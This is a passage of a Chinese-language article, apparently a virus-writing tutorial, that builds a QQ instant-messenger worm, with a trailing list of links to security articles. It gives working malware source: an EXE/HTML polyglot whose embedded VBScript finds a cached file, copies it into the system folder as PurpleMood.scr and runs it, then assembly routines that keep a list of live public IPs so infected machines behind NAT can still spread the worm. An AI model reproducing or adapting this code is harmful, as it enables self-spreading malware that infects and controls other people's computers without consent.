把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:
db '<HTML><HEAD><TITLE>hi</TITLE>'
db '<SCRIPT LANGUAGE="VBScript">'
db '<!--',0dh,0ah
db 'Set fso = CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'sf=fso.GetSpecialFolder(1)',0dh,0ah
db 'sf=sf & "\PurpleMood.scr"',0dh,0ah
db 'tif=fso.GetSpecialFolder(2)',0dh,0ah
db 'tif=Left(tif , Len(tif)-4)',0dh,0ah
db 'tif=tif & "Temporary Internet Files\Content.IE5"',0dh,0ah
db 'Set tif = FSO.GetFolder(tif)',0dh,0ah
db 'GenerateAllFolderInformation(tif)',0dh,0ah
db 'Set WshShell = CreateObject("WScript.Shell")',0dh,0ah
db 'WshShell.Exec(sf)',0dh,0ah
db 'Function GenerateFolderInformation(Folder)',0dh,0ah
db 'Set Files = Folder.Files',0dh,0ah
db 'For Each File In Files',0dh,0ah
db 'if StrComp("beautygirl[1].html",File.Name,1) = 0 Then',0dh,0ah
db 'fso.CopyFile File.path,sf',0dh,0ah
db 'End if',0dh,0ah
db 'Next',0dh,0ah
db 'End Function',0dh,0ah
db 'Function GenerateAllFolderInformation(Folder)',0dh,0ah
db 'Set SubFolders = Folder.SubFolders',0dh,0ah
db 'For Each SubFolder In SubFolders',0dh,0ah
db 'GenerateFolderInformation(SubFolder)',0dh,0ah
db 'Next',0dh,0ah
db 'End Function',0dh,0ah
db '-->'
db '</SCRIPT></HEAD><BODY>Thank you for test it!</BODY></HTML>'
容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。
三.局限性与解决方案
如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。
基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为
其他机器找不到它的ip.它无法作为服务器。
解决方法如下:
1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.
2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网
是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。
3. 这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:
IsActiveIP PROC IP : DWORD
LOCAL VSocket : DWORD
push ecx
push IPPROTO_TCP
push SOCK_STREAM
push AF_INET
call socket
mov VSocket,eax
push IP
pop TestIP
push sizeof(sockaddr) ; Size of connect strucure=16
call IAI1 ; Connect structure
dw AF_INET ; Family
db 0,80 ; Port number,avoid htons :)
TestIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
IAI1:
push VSocket
call connect ;ret 0 if sucess
push eax
push VSocket
call closesocket
pop eax
pop ecx
ret 4
IsActiveIP ENDP
SelectTrueIP:
push 64
pop ecx
mov esi , offset TrueIPList
STI1: lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax == 0
sub esi , 4
lodsd
jmp STIExit
.else
loop STI1
.endif
xor eax , eax
STIExit:
ret
UpdateTrueIP PROC TrueIP : DWORD
push 64
pop ecx
mov esi , offset TrueIPList
UT1: lodsd
.if eax == 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
push 64
pop ecx
mov esi , offset TrueIPList
UT2:
lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax != 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
UTExit:
mov eax , TrueIP
ret 4
UpdateTrueIP ENDP
TrueIPList db 256 dup (0)
| 如何安全运行从网上下载的可疑软 | 04-05 | |
| DOS下清除熊猫的简单方法 | 02-02 | |
| 杀熊猫烧香100%成功绝招 | 01-27 | |
| 通过电信宽带上网的用户将被电信 | 01-17 | |
| 互联星空挂的一个强马,禁用杀软 | 12-02 | |
| 本周新增5款恶意软件 利字当头顶 | 12-01 | |
| 与世界同步!让你的病毒库备份自 | 11-30 | |
| 番茄花园版XP的安全漏洞兼安全措 | 10-13 | |
| “区域和语言”对Windows系统稳定 | 10-04 | |
| 服务器安全:堵上致命的IISUnico | 10-03 | |
| 游戏里的安全 教你避免帐号被骗和 | 10-01 | |
| Windows Server2003 防木马权限设 | 09-22 | |